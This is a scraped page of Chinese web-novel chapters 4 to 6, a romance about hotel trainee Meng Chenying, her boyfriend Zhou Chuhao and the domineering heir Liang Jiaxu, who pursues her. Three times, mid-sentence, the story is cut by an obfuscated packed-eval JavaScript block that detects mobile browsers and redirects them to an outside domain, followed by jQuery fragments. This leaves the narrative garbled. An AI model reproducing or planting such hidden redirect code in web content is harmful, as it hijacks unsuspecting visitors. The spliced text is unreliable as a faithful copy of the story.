虞南星将脑袋凑过来垫她肩膀上,好奇心作祟问:“你说,这么厉害的人会不会有求而不得的东西?” 孟尘萦说不知道:“我对别人没什么兴趣,他求得,还是求不得,跟我们有什么关系呢?” “你说的也是。” 只是难得见到这样的大人物,虞南星难免好奇,她即使那么努力往上爬,也就能认识像边萧这样有钱的公子哥。 而像边萧这么有钱,连梁嘉序的边都挨不到,也不知其中差了多少跨不过去的距离。 “你在那折腾什么呢?” “明天休半天假,我打算做点小饼干,找面粉呢。” “怎么忽然想做饼干了?周初皓回来了?” “不是啦。”孟尘萦翻到了做饼干的食材,笑说:“你赶快去洗了睡,我明天做好也给你留一份。” “好嘞!” 一切准备就绪。 孟尘萦回房看了下时间,入睡前跟周初皓发了条消息。 【还没下班吗?】 几分钟后周初皓才回复:【刚收工。】 她正要再回复,对方直接打了个视频过来。 周初皓已经到了酒店,笑容舒朗:“刚在车上那会,你怎么有点不对劲,萦萦,我从小看着你长大,你哪里不对劲我都能察觉出来。” 孟尘萦翻了个身,手机靠在床头前,盯着镜头:“初皓哥哥,你还记得那位梁公子吗?” 周初皓脸色微变:“怎么忽然提他了?” “你见到他了?” 孟尘萦斟酌了下,把她今天发生的事抹了去,只讲述在四合院见到梁嘉序的事。 周初皓边走去洗手间洗脸,回话笑:“那位公子哥可跟我们不是一路人,当初在国外我通过别的朋友认识过他,不算很熟,你那会来伦敦找我,不是也见过吗?” 四年前,孟尘萦十八岁那年。 她用自己攒了许久的打工费出国去见周初皓,特地给他准备惊喜过生日。 但当天,同样也是梁嘉序的生日。 因为发生了点意外,她准备的生日惊喜都给了梁嘉序。 “你们为什么又没联系了?” 她主动问起这个,周初皓脸色有几分不自然,“你知道我是怎么进入烽耀科技的吗?” 孟尘萦摇头。 “烽耀科技背后的掌权人是陈氏,陈氏跟梁家多年不和,我……” 他淡笑:“对方知道我和梁嘉序认识,重金把我挖去的。” 周初皓保留了点细节,只把起因告诉了她。 其实是他端出自己和梁嘉序吃过几次饭的事,主动向陈氏示好,这件事,他不想说。 孟尘萦抿了抿唇,“所以是你背叛了梁公子?你不怕他报复?” “背叛?不完全算,谁都想往高处走,选择自己想去的公司不全是我的错。” “至于报复,”周初皓说:“梁嘉序这人,没谁能入得了他的眼,我都不被他放在眼里,根本不值得他报复。” 孟尘萦没回话。 她看到镜头里周初皓正准备刮胡子,白皙的侧脸线条柔和温润。 在她心里,他一直是那个性格清爽的邻家大哥哥。 “你洗脸吧,我先挂了。” “萦萦。”周初皓急忙喊住她。 画面内,男人脸上的泡沫都没洗净,他说:“我可能还要一周才能回京。” 孟尘萦揉了揉困倦的眼,惊讶道:“你昨天不是说过两天回吗?” 周初皓笑道:“阮总临时又派给我一个项目,他最近挺器重我的,我想再往上爬,等时间到了,准备也够了,我要跟你结婚。” “结婚?”猝不及防提起这个,孟尘萦脸一红,“会不会太早了呀?我们才交往了半年。” “可我们认识有十几年了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872829|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周初皓眼神温柔缱绻:“萦萦,我想赶快娶你。” 睡前孟尘萦又想起周初皓说的这句话。 ——我想赶快娶你。 她想,跟他成一个家也挺好的。 - 隔天孟尘萦在家做曲奇饼干。 室友钱晓语回家嗅到满屋的香味,口水泛滥,“萦萦,你都好久没做饼干了,这是要做给谁吃啊?” 孟尘萦指着盘子说:“你尝尝怎样。” “那我就不客气啦。” 钱晓语随手捡了一块送进嘴里,酥香的奶味在自己口腔弥漫,她享受地眯眯眼,“太好吃了!” 孟尘萦打包好一份,剩下的装在盒子里说:“一会等南星醒了,你们俩一起分享吧。” “她还在睡呢?” “嗯,昨天参加生日宴都玩疯了。” 孟尘萦今天是晚班。 下午赶到颂曼德时,主管刘素华把她提到小房间审问:“昨天怎么回事,你怎么跟那位出去了?” “刘姐。”孟尘萦笑说:“我就是几年前见过两次梁先生而已,您别用这眼神看我啦。” 刘素华眯着眼打量她:“真的?” “真的。” 刘素华哼笑一声:“我已经打听到了,昨天那位可是梁家的这个。” 她比了个大拇指。 “上面就只有亲爹了,他还是独生子,没人管得了他,母家是那财力雄厚的江家,你说这样的人物,竟是为了你也不给他三叔的面子?” “真的只是见过?” 孟尘萦也觉得莫名,她昨晚回家后想了许久,得出结论:“颂曼德是梁氏的,梁巷明惹了事,梁先生得知了当然不会当没看见,他大概是不想梁巷明在他眼皮子底下惹出事。” “是这样吗?” “应该吧。” 刘素华也没追问了,也是,那样的大人物,何必要对一个小小的员工另眼相待。 不过孟尘萦的确长得很美。 要真是为了她,也不是没可能。 刘素华压下心里的话,“刚才有人过来说,梁先生让你去顶层套房见他。” 孟尘萦揣紧包里的小饼干。 嗯了声,已做足准备。 乘坐电梯抵达顶层。 纵然孟尘萦进入颂曼德工作已有了两个月,可这顶层她也不曾来过。 从前只听刘姐说,没有特殊允许,没人能进入顶层。 就连梁巷明这么狂妄的家伙,都住不了顶层套房。 这个梁嘉序,在家里究竟是怎样的地位,他三叔都要看他脸色行事。 她鼓足勇气敲门。 没一会,门自动打开。 豪华套房昏暗得如同一座寂静的宫殿。 她换了拖鞋,踩在松软的毛毯上,一步步朝里走。 “梁先生?” 她走进了些,但屋内视线很暗,像没有人。 她也正在犹豫,现在该不该出去。 站在原地思考时,孟尘萦忽然看到立在落地窗前的男人。 月光通过落地窗照了进来,落下一列银辉,男人只松弛地站在那,让她不由呼吸一滞。 有那么一瞬间,她觉得面前的男人强势的气势似乎将月色吞噬,天地万物尽在他掌控。 “梁先生。”孟尘萦低声唤他。 梁嘉序侧身而来,眉眼微挑:“来了?” “嗯。”她声音很小,手指紧紧捏着这包曲奇饼干的封口,“我的谢礼,放哪里好?” 梁嘉序扫了眼她白皙的指尖。 “搁桌上就行。” “好。” 离她最近的桌子,就在梁嘉序身旁,她上前几步,弯腰,手里的那袋饼干正要放下。 忽然,感觉自己手腕一紧。 梁嘉序攥住了她的腕子。 她惊地抬眸,撞入他漆黑的眼。 这么近的距离,她甚至能看到他眼里的自己。 小小的一个人,被困在他眼里,无法逃生。 她紧了紧后背,小声唤:“梁先生?” 梁嘉序问她:“手机带来没?” “带了。”她不敢再直视他的眼,微不可察错开视线。 “拿来看看。” 他的声音很能蛊惑人心,孟尘萦出神了须臾,疑惑问:“给梁先生看?” “嗯。” “为什么?” 她那两条细眉拧着,这会儿倒是不怕他了。 梁嘉序弯唇,不疾不徐说:“看看孟小姐是怎么前脚把微信给我,后脚又给我打入冷宫的。” “嗯?”他歪脸笑,直勾勾盯着她微白的小脸。 “现在人也在你面前了。” “加,还是不加?” 4. 第 4 章 ——加,还是不加。 听着像选择题,但孟尘萦品出来,她没有选择不加的权利。 她低着头,很乖顺说:“等我回去就加。” “逗我呢?”梁嘉序语调散漫:“同样的招数用两次就没意思了,孟尘萦。” 这是梁嘉序第一次叫她的名字。 她听得心里有些许的怪异,转念一想,只是加个微信好友,也没必要跟他杠下去。 “梁先生松开我的手,我现在就加。” 他掌心温度似要传入体内般,她不自在地抽了两下。 力量悬殊,她的手好像都不属于自己了,没办法收回。 梁嘉序很快放开她。 月光下,她肌肤莹白,而被他圈过的那一处就像留下了印记。 一时分不清是吻上去的,还是掐上去的。 他眼神凝了墨,乌沉沉的细碎光芒在暗潮翻涌。 他忽然很想品尝一下,那处是什么触感,想来该是滑的,香的,软的。 或许还有点甜。 含在嘴里,一定比手心下圈着更让他上瘾。 在他松手后,孟尘萦连忙后退几步。 她低头从口袋里掏出手机,老老实实把昨天忽略的好友请求翻出来,当面加了梁嘉序微信。 她没给他备注,直接把梁嘉序丢到【躺尸】这个标签里。 做完这些,她抬头微笑:“梁先生,我得去工作了,那袋饼干是我的谢礼,望梁先生好好品尝。” 梁嘉序忽然问:“还有一个月试用期就到了?” 孟尘萦答话,“对。” “颂曼德的考核标准很高,你想成为正式工吗?” 这个问题对试用工来说,有足够的吸引力。 没人不想正式进入颂曼德,这家酒店不仅是超五星级标准,员工的福利条件也极其好,正式工的工资也足够让其他酒店人眼红,况且背靠梁氏,根本不愁后续福利。 孟尘萦没有正面回答,“如果我的标准合格,贵酒店应该不会不要我。” 梁嘉序弯腰,拆开那袋小饼干。 她给包装系了个可爱的蝴蝶结,他轻微一扯,松开捆绑,饼干的香味也溢了出来。 他取来一块,垂眸打量一眼,看她:“你跟我说一声,我现在就能让你转正。” “什么意思?”孟尘萦没懂。 他幽幽笑,“饼干不错,就当是贿赂到我了。” “不是。”孟尘萦急了,“这是谢礼,不是贿赂,梁先生不要弄错了。” 他指腹摩挲两下,饼干碎屑掉在桌上,“你应该很缺钱?成为正式工后工资翻了几倍,难道不想要?” “我不要。”她一脸正色说:“这份饼干只是谢礼而已,梁先生,我没有贿赂你。” 男人仪态闲散,没应她话。 孟尘萦心里忽然生起了火,也不知哪来那么大的胆子,上前就把那袋小饼干一把夺了来,“如果梁先生觉得是贿赂,那这饼干我就不送您了。” “就这样拿走啦?” 他也没恼,反而轻笑,眉眼衔着趣味:“真不给我啊?” “这么小气呢?一袋小饼干瞧把你紧张的。” 孟尘萦认真道:“是梁先生先给我泼脏水,我没有贿赂你,您怎么能这样说我。” 话音到最后竟是有委屈的腔调。 她的确是刚步入社会,还不懂职场的黑暗面,可她只是想报个恩,不想牵扯到其他。 她也不稀罕什么特权。 况且,她跟梁嘉序无亲无故,他为什么要给她特权。 小姑娘白皙的脸颊,浮着淡淡的薄红,眼尾也弥漫的湿润,卷翘的睫毛还在轻颤。 娇得能掐出水了。 不知是气的,还是委屈的。 总之都是梁嘉序惹得祸。 他主动道歉:“刚逗你玩呢。” “孟小姐,你说,一袋小饼干就能贿赂到一个正式工,这事说出去,谁信呢?” “难不成孟小姐觉得自己的饼干是金子做的?” “还是说,你也认为,你很特别,你的一袋小饼干就能贿赂到我?” 他弯着腰,凑近逗她笑。 他忽然挨近,气息黏到她肌肤上,分明没有伸手触碰到她,她却觉得自己的下巴被他挑了起来。 孟尘萦有点生气。 她好像被眼前这个男人玩弄了。 愈发觉得他可恶。 她掩下心里的想法,低垂眼睫,小声说:“或许在梁先生的眼里,逗一个小员工很有趣,可我不觉得。” 她刚才的确当真了。 她吸了吸鼻子,说:“我走了。” 瞧把小姑娘给委屈的。 从刚才开始,就拿脑袋看他,就给他盯她发缝了。 梁嘉序失笑,“走归走,小饼干总得留下吧。” 孟尘萦紧紧捏着这袋小饼干,不解问:“您还要?” “不然呢?” 他从桌子侧边绕过来,挺括的肩膀好夺目。 气势又压了过来,“给,还是不给?” 又是一道选择题。 孟尘萦有点懵了,直到她摸出掌心下的饼干袋有几分不对劲,红着脸说:“刚好像被我捏碎了。” 她那会太急,从他手里抢过来,力道大了点。 她抬眸,试探地伸手递上去:“梁先生,介意吗?” “我要说介意呢?” 他把问题抛了过来,砸得她没有应对能力。 “我……” 孟尘萦只好把手往回缩,“那我再重新做一份好了。” “但我这几天有点忙,所以……” 梁嘉序淡声:“等你不忙了。” 他倒是怪体贴,孟尘萦忍不住腹诽。 “那我走了,今天打扰梁先生了。” “等会儿。” 他又喊住人,“那袋碎了的饼干也留下。” - 她在颂曼德的工作是靠自己能力进来的,只要熬过这三个月,各方面考核达标,就能成为正式员工。 孟尘萦当然想做正式员工,这酒店的哪个实习生都想。 但每个季度的名额有限,颂曼德的酒店人大多都是高学历,还有海外镀金回来的,哪个不是有着优秀的简历。 让梁嘉序给她开后门,她都没那底气。 如果要拿到正式工的名额,她只想靠自己。 实在不行,大不了转行。 她不会只认一条死路。 “小孟啊。”刘素华带着其他实习生过来,“这个新来的妹妹,你带着熟悉一下环境。” 孟尘萦朝新实习生点点头。 “你好,我叫孟尘萦。” 对方态度冷淡,勉强露出笑:“白蓓。” 刘素华简单交代几句,便把白蓓丢给了孟尘萦。 白蓓回到休息室往沙发一靠,“喂,你知道怎么上顶层吗?” “啊?”孟尘萦正在做今天的工作整理,闻言抬头看她:“你要去顶层?那一般人都进不去。” “一般人?”白蓓从鼻腔喷出笑:“你是一般人,我可不是。” “这样啊。”孟尘萦没说什么了。 白蓓见她没接话,面子全无,皱眉道:“你还没告诉我怎么上顶层。” 孟尘萦瞥她,“你刚才不是说你不是一般人吗?问我这个一般人也没用吧。” “你……” 白蓓气得站起来,一把扯下自己实习生的装扮。 “本小姐不干了。” 她丢下东西直接走人。 弄得孟尘萦不知所措。 等刘素华过来问人去哪儿了,她都说不出个所以然。 直到刘素华接了通电话,才得知,刚才那姑娘是白家人,家里做大企业的千金小姐,什么实习生,就是来玩玩,发现没什么有趣的,撂摊子走人了。 “这些贵人,把我们拼了命也要得到的工作当什么似的玩弄。”刘素华不满地撇撇嘴。 跟昨天碰见梁巷明比,今天的工作还算风平浪静。 孟尘萦下班时很晚了。 她和两个朋友合租的家离酒店不远,本想骑共享单车回家,又考虑到昨天下了一晚的大雪,路上不安全,她还是选择步行。 回家时闻到一股火锅香味。 虞南星招呼她过来涮火锅,“萦萦你回来的正是时候,我们还没开吃。” 孟尘萦正馋火锅呢,摩拳擦掌去洗了手过来。 锅内刚下了她喜欢的虾滑,牛百叶,还有牛肉,她夹起一块牛肉放进蘸碟。 热乎乎的火锅吃得冒一身汗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872830|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟尘萦嘴巴都被辣红肿了,她扇了扇唇上的热度,忽然听到钱晓语提起过年的事。 “还有二十几天就要过年了,今年你们回去吗?” 虞南星咬了颗鱼丸子,“我家就在京市,这么方便再不回去我妈得打死我。” “你呢,萦萦。”钱晓语关心问:“你去年过年好像就没回你老家。” 孟尘萦的老家在涟云,那是什么地方,她两个朋友都不清楚,只知道来自一个南方小镇。 江南美景,细雨霏霏,素净简洁的小镇,写满了诗意。 听地名,就跟孟尘萦这人一样,像天边云朵,瞧着白白软软,漂亮得跟仙女儿似的,让人想要亲近。 孟尘萦喝了一口水才说:“应该回吧。” “怎么要回去了?”虞南星问。 “这是我跟周初皓交往的第一个新年,还是回家比较好。” “对哦,我都忘了,周初皓是你的邻居哥哥。”钱晓语对这种青梅竹马的情谊一向很羡慕,“你们俩从小一起长大,现在还交往,两家父母感情一定很好,是不是像电视里那样,从小就定娃娃亲?” “不是。”孟尘萦笑道:“他大我好几岁呢,我小时候都追他后面玩,他都一直把我当小妹妹的。” “那你们怎么交往的?” 这事两位室友都挺好奇。 孟尘萦性子很淡,一看就不会主动追人,两人又是怎么从邻居的兄妹到情侣这关。 孟尘萦拨着自己的蘸碟,回忆说:“我来京市发展,想在这生根,初皓哥哥一直很照顾我,半年前他跟我表白,问我要不要跟他交往试试。我想,他人好,对我也很好,知根知底嘛,就交往了。” “那你喜欢他吗?” 孟尘萦抬眸看向两个室友,想了会,“喜欢。” “反正我不觉得其他男人会比初皓哥哥对我还好,如果我一定要跟谁交往,那个人只会是他。” 虞南星噌地一下站起来,举起酒杯:“那就敬青梅竹马,敬你们多年的感情,谁也不准拆散你们。” 钱晓语也是喝嗨了,碰杯说:“早日结婚,幸福美满。” 孟尘萦被这氛围感染,笑意更盛:“好,借你们吉言。” - 答应给梁嘉序做的饼干,孟尘萦不想拖。 她总觉得他是个极其危险的人物,能尽快摆脱就尽快摆脱。 吃完火锅后,她又顶着疲惫爬起来做饼干。 期间周初皓给她打了个视频通话。 “好想快点回京,有半个月没看见你了,才发现我竟然是个黏人的男朋友。” 孟尘萦哄了半天才哄好,问:“初皓哥哥,你们领导最近挺看重你的呀?都舍不得你回来了。” “可不是嘛,说起来我们领导真是个女儿控。” “怎么啦?” 他笑容很舒朗,小声吐槽:“前几天把他女儿也喊到海城来了,天天跟着我们一起工作。小女孩什么都不懂,也烦人得很,吵得我们没办法静下心来做事。” “初皓哥哥不可以背后说人家小姑娘,这样不好。” “好啦,我就只跟你说说而已。”周初皓忽然找了个安静的地方,对着镜头肉麻道:“萦萦,我好想你。” 孟尘萦刚把小饼干放进烤箱,闻言低声笑:“我也想你。” 周初皓看着镜头,一脸认真:“今年过年回家,我们跟家里人说我们要结婚的事,好不好?” 孟尘萦神色微怔,“跟家人说?这么急吗?” “娶你怎么能不急,不过婚礼程序可以往后,我们让两方家庭都知道我们想结婚的意愿,我先把你定下来,不好吗?” 想了想,他说的也对。 “嗯,好,都听你的。” 刚挂断跟周初皓的谈话,孟尘萦本想一心做饼干。 奈何电话又一响,竟是梁嘉序打来。 犹豫了许久,她还是没点接听。 直到他打来第二通,颇有一种她不接,就一直打下去的无赖,没办法只好点了接听。 画面内出现一张上天宠儿般的俊脸。 就连怼脸镜头,都能这么好看。 孟尘萦觉得老天真的很不公平。 梁嘉序盯着她红肿的唇,忽然问:“这么久才接电话,嘴还这么红肿,是跟谁接吻了?” 5. 第 5 章 孟尘萦愣了会儿,连忙解释:“我刚吃完火锅,况且我男朋友还在外地出差,我能跟谁接吻?” 她语气很急,语调几分恼怒,被冤枉的恼怒。 画面内,梁嘉序慵懒地掀眸看她:“又有谁说只能跟男朋友接吻?” 孟尘萦不可置信自己听到的话,惊地眼睁圆。 他慢悠悠道:“你有选择跟任何人接吻的自由。” 孟尘萦简直被无语笑了,“难道梁先生是那种会背着女朋友跟别的女生接吻的渣男吗?” 她已然被气到口不择言,都敢对梁嘉序说渣男这两个字。 “你觉得呢?” 他把这种冒犯的问题抛给她,孟尘萦当然不敢再回话,气消去点后脑子这下也清醒了,明白过来自己刚才说了什么混话。 她语气很轻错开话题,“刚才……” 话还没说完,只闻梁嘉序神色淡淡说:“我还没女朋友,你这个假设不成立。” “但孟小姐,你有男友。” “什么意思?”孟尘萦又懵了。 她时常不知道这男人脑子里究竟在想什么,就连对他没有女朋友的惊讶,在这一刻已经被他最后那句话给打乱了。 “孟小姐要是想找男人接吻了,我不介意做外面那个。” 嗡地一下,孟尘萦直接给吓得脑子短路。 她难以置信看着镜头中的男人。 夜深了,这个点他在家里穿得还跟随时要上夜店似的,黑色衬衫松开几颗纽扣,露出细长的脖子,起伏的锁骨,皮肤很白,腕骨竟是带点薄红,极致斯文败类的模样。 外表瞧着还是个人,内心却如此肮脏,这样邪恶的想别人。 她胸脯起伏,问他:“梁先生在羞辱我?” 屏幕内的男人此刻自在到像在她面前谈话般,背脊松弛靠在椅背:“你的结论不成立,首先我这句话是定在孟小姐想接吻的前提下。” “要是孟小姐趁男友在外地饥渴了,想男人了,想找男人接吻了,你才能够盖章我在羞辱你。” 孟尘萦给气糊涂了,眼眸雾蒙蒙的。 心里一沉,瞪圆眼盯向镜头内这个道貌岸然的男人。 她的确摸不透这个男人。 前几天在四合院碰面,她就不明白他突然跟她打什么招呼,再后来,他在梁巷明手下救了她,她以为他是个好人。 结果他一次又一次试探她的底线。 今天甚至开始上升到她可能会劈腿的事。 这让孟尘萦无法容忍。 她懒得再理他,敷衍道:“梁先生,很晚了,没什么事我先挂断了。” “慢着。” 镜头内的男人忽然燃了支烟,指尖猩红一点:“打电话过来是想问问,我那袋饼干什么时候做好。” 孟尘萦好奇问:“您这么急着要?” “嗯,”他笑着吐出一圈烟雾,痞里痞气的:“就馋孟小姐这一口呢。” 这样的大人物,怎么还贪她点小饼干?他家没饭给他吃么?孟尘萦实在不理解他。 随口搪塞道:“正在做,明天就送给梁先生。” “这么晚还做饼干,急着打发我呢?” 孟尘萦真觉得他有病:“梁先生不是急着要?” “急是急,但这么晚,累着孟小姐我也挺抱歉的。” 抱歉么?从他神情来看,孟尘萦看不出来他的歉意,“没关系,也不累的,梁先生多虑了。” 她要挂断,“抱歉,我男友电话进来了。” 梁嘉序咬着烟,漆黑的眸盯着她白皙的脖颈,再到绵软的耳垂,目光将她一一吻了个遍,问:“孟小姐没耳洞?” 孟尘萦微微蹙眉,“是没有,怎么了?” “没事。” 他笑着,体贴说:“你挂断吧,别让男朋友久等了。” 莫名其妙。 孟尘萦巴不得赶紧挂断电话。 其实周初皓根本没打电话进来,她就想找个借口。 总觉得再跟他相处下去,准会出事。 - 熬夜做了一份小饼干,就为了把瘟神打发走,这事孟尘萦以前从没想过。 以至于清早起来,她眼底还有点淡薄的乌青。 久违的化了个淡妆去上班,临开工前,孟尘萦特地跟上次带她去顶层的助理打听了下梁嘉序现在在不在酒店。 那助理没多言,直接把她又带去了顶层。 还是那天的套房。 清晨的光线很好,豪华套房也沐浴了阳光。 孟尘萦轻手轻脚进去,没瞧见人。 她站在原地犹豫了会,正打算转身走人,忽地听到浴室那传来水声。 想到梁嘉序正在洗澡,眼下把小饼干放下,再悄悄走人再合适不过。 只要把这谢礼送了,她和梁嘉序就再没半点关系。 一旦有了这想法,她立刻实行。 机会是自己争取的。 她不会傻傻等着那个危险的男人洗完澡出来见她。 孟尘萦把饼干放在那天的桌子前。 扯了张便签留下一句话,直接走人。 门口的黑衣助理见她这么快出来,面露古怪。 孟尘萦来不及细想。 拔腿溜了。 梁嘉序从浴室出来时,客厅内似乎还留有女孩身上淡淡的余香。 望着桌上那袋小饼干。 他走过去驻足,背影挺括,懒散又松弛,弯腰捡起那张便签扫了眼,忽然也很想笑。 ——望梁先生好好品尝。 助理敲门进来回话:“梁先生,孟小姐十分钟前就走了。” 梁嘉序淡声:“让她走。” “是。” 酥酥脆脆的饼干,入口奶香味十足。 梁嘉序慢条斯理品了一口,这块圆滚滚的饼干,缺了一角。 他垂眸看了会,想到她做饼干的样子。 最终,整块饼干送入腹中。 奶香味在口腔内停留了许久,挺让人回味的。 的确还是四年前吃过的味道,甚至更美味了。 几年没见,小姑娘做烘焙的水平提升了不少,只是到底是敷衍打发做的,还是缺了点什么。 缺了什么。 大概是缺了份,做饼干时想他的心境。 – 孟尘萦从顶层下来后,如释重负。 她很快收拾收拾投入工作当中,已至年底了,正是酒店忙碌的高峰期。 颂曼德这种超五星级酒店,平时接待的基本都是大人物。 这不,大早上便来了位金尊玉贵的住客,刘素华安排孟尘萦去接待,亲迎送进套房。 入住的客户是一对情侣。 男人年纪稍大,看着五十好几了,女方很年轻,大概刚二十,青春活力。 从进入酒店起,女方挽着男人的手腕频频撒娇。 一会儿不满这个,一会儿又要那个。 把男人哄得五迷三道,恨不得把自己所有的卡都双手献给女方,直呼说回家就把家里的黄脸婆踹了。 来酒店工作有些时日了,孟尘萦见识到的世面比以前要多得多。 也怪不得旁人都说,酒店是瓜园。 一步一个瓜,每天都吃饱吃撑。 不过颂曼德比别的酒店要严厉得多,上头下过严令禁止员工蛐蛐那些贵客。 但人天生爱八卦,上头禁止了,也捱不住有的员工把不住嘴。 私下总是少不了互相交流今天吃到的瓜。 吃瓜吃上头,有的员工就正好惹了事。 出事的员工是跟孟尘萦同一批进入颂曼德酒店工作的女孩,名叫唐书。 唐书平时对孟尘萦很关照,两人一起进入酒店,多少也有点革命情谊,她自然紧张。 从刘素华那打听到的情况。 唐书进入套房服务时,因一个抬眼打量的动作,被住客认为冒犯了自己,要求唐书跪下道歉。 唐书觉得自己没错,即便道歉她也不愿下跪。 女方眼下在闹,闹得挺厉害,跟着她同入住的男人护她,也开始闹事。 刘素华亲自去处理。 好说歹说才说服了闹事的住客,唐书受了委屈,回休息室就垂泪。 “我受不了这种做奴才的狗日子了,老娘只是眼睛有点不舒服,正好抬眼的时候打量了一下,凭什么就说我在嘲笑她?还要我下跪?她凭什么这么欺负人啊?自己心虚,就觉得所有人都在看她笑话,我平时在酒店见过更夸张的瓜都有,她那点算什么啊都不够我塞牙缝,还有那个恶心的狗男人,一把年纪了也不怕死床上!” 孟尘萦忙活完回来,给她倒了杯热水,问她:“刘姐后来怎么处理的?” 唐书哭着说:“刘姐在颂曼德这么多年了,什么难搞的客人没见过,她帮我解决了,我没下跪,不过我那委屈也是真受了。” “萦萦。”唐书抓着她纤细的手腕,说:“你说我们到底在拼什么啊?辛辛苦苦老老实实打工挣钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872831|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣得又不多,还要被欺负羞辱,凭什么啊,这狗屁的世界太不公平了!我真不想干了!” 孟尘萦垂眸。 忽然想起自己刚来颂曼德时受过的那些委屈。 那时候她何尝不是这样想,她老老实实做人,本本分分挣钱,凭什么要被欺负。 即使是现在,她还是这样的想法。 但唐书现在正是气头上,轻易激不得,她只能安抚:“书书,至少我们挣的钱问心无愧,不是吗?” “你说的也是。”唐书擦泪,勉强笑出来:“我刚就是发泄一通而已,我才不会辞职呢,我一定要成为正式工!” 收工后,孟尘萦站在酒店外给周初皓打电话。 打了几通对方都没接。 考虑到他出差很忙,她还是歇下了找他聊天的心思。 这几天京市在融雪,气温比落雪那日还要低,空气中丝丝缕缕的冷气直往人骨头缝里钻,人在外头,就如同在冰箱里的一块肉。 孟尘萦冷得发了个抖,紧紧拢好自己的毛线帽和手套。 她怕冷怕到一种夸张的程度,而南方和北方的冷又完全不同,唯一的共同点就是都冷得她骨子里受不了。 她低着头,正在找网约车。 忽然这时一辆黑色轿车停她面前,司机下车过来亲自迎她上车。 孟尘萦抬眸望去,见后座那坐着一男人,车窗拢了层冷冽的雾气。 他缓缓将脸扭过来,“上车。” 孟尘萦捏紧手机,“不,不用了,我这边刚叫了车子。” “上车。” 梁嘉序又重复一遍。 那漆黑的眼神还盯着她,把她腿都要盯软了。 她不想上去。 谢礼送了后,她和那男人应该没半点瓜葛了才对。 司机好心出言提醒:“孟小姐,您还是不要跟梁先生杠了。” 她看了眼司机。 司机目含尊敬道:“梁先生让您上车,您只有选择上的份。” ………… 车子缓慢朝向阳路26号开往。 孟尘萦端坐着,背脊挺直,侧身紧贴车门,颇有种下一秒就要跳车的架势。 这幅紧绷的模样,惹得梁嘉序直笑,发自内心的笑意从他眉眼晕开,眼底黑色盛浓,邪魅的像妖精,正在看着眼前的美食。 他手朝她一伸。 吓得孟尘萦身体更僵硬。 那只她害怕的手,意外的落在她的脑袋上,修长的手指很调皮,一下一下戳她头上毛线帽的球球。 望着在他手指下弹来弹去的球球,他好奇问:“嗯?这么冷呢?” 孟尘萦嗯了声。 他说:“车内有暖气,摘了吧。” “不用了。”孟尘萦说:“一会就到家了。” “不摘,我怎么看你的脸?” “什么意思?” 梁嘉序支着脑袋侧脸盯着她瞧,“你这帽子这么大,把你的小脑袋几乎都挡了大半,从上车起,把脸撇到窗外,就给我看你这顶帽子,怎么着,怕我欺负你啊?" 他把话汹涌砸下来,打得孟尘萦措手不及。 她尽可能维持冷静,回答:“不用了,您想说什么,我都听得见。况且,梁先生为人正直,是不会欺负女生的。” 她好话说前头,把他要做坏事的路给堵住了。 梁嘉序看透了她,“这不是你嘴上说我为人正直,心里头却觉得我是个大反派么?” “……我没有。” “你有。”他似乎心情不错,还歪着头看她:“今天过来送饼干,怎么没见着我人就走了?” 孟尘萦老实说:“您在洗漱,我不好打扰您,况且您是要谢礼,又不是我。” “谢礼?”梁嘉序的语气好像捡了外头的寒气进来,凉丝丝的:“什么谢礼啊。” 孟尘萦抬眼,面露疑惑,总算是扭过头看他脸。 从上车为止,她就没有正眼看他,这样忽然四目相对,一张精致的面容蓦然出现在自己面前,即使这几天她看过许多遍,仍是觉得震撼。 但她还是没明白他那个问句。 梁嘉序又说:“我什么时候说要谢礼?” “您……” 孟尘萦惶惶眨眼,对上他那双不如方才调笑的眼神,她忽然觉得脑袋漏风似的,冷意从头顶灌了进来。 他微低头,右手撑在她前方座椅后背,以一种把她圈到无处可逃的坐姿俯视她:“我要的从来都是你,孟尘萦。” 6. 第 6 章 他说的话跟他这人给她的感觉一样。 强势,霸道,不容抗拒。 孟尘萦肩膀塌了下来,浑身血液凝固,脸色微白问:“那次在车上,您说我做一份小饼干给您就算报恩了,您这是想要反悔?” “你在冤枉我,孟尘萦。” 他掀眸,一错不错看她:“我什么时候说反悔了?” “是让你还了恩情,但我并没有说,你送一袋小饼干,今后我就不来找你了。” “这是两码事儿。”他混不吝地说。 直到此时此刻,孟尘萦才见识到他真实的一面。 从四合院见面起,梁嘉序在她面前表现的总是很矛盾,他眼神是强势的,掠夺的,但所作所为又好像在帮助她。 她前几天以为,他至少跟那些只会贪图玩乐的公子哥不一样,也不是周初皓口里那个骨子里没根正常神经的人。 看来是她判断失误。 他可太不一样了。 比那些坏公子哥还要可恶。 “停车。” 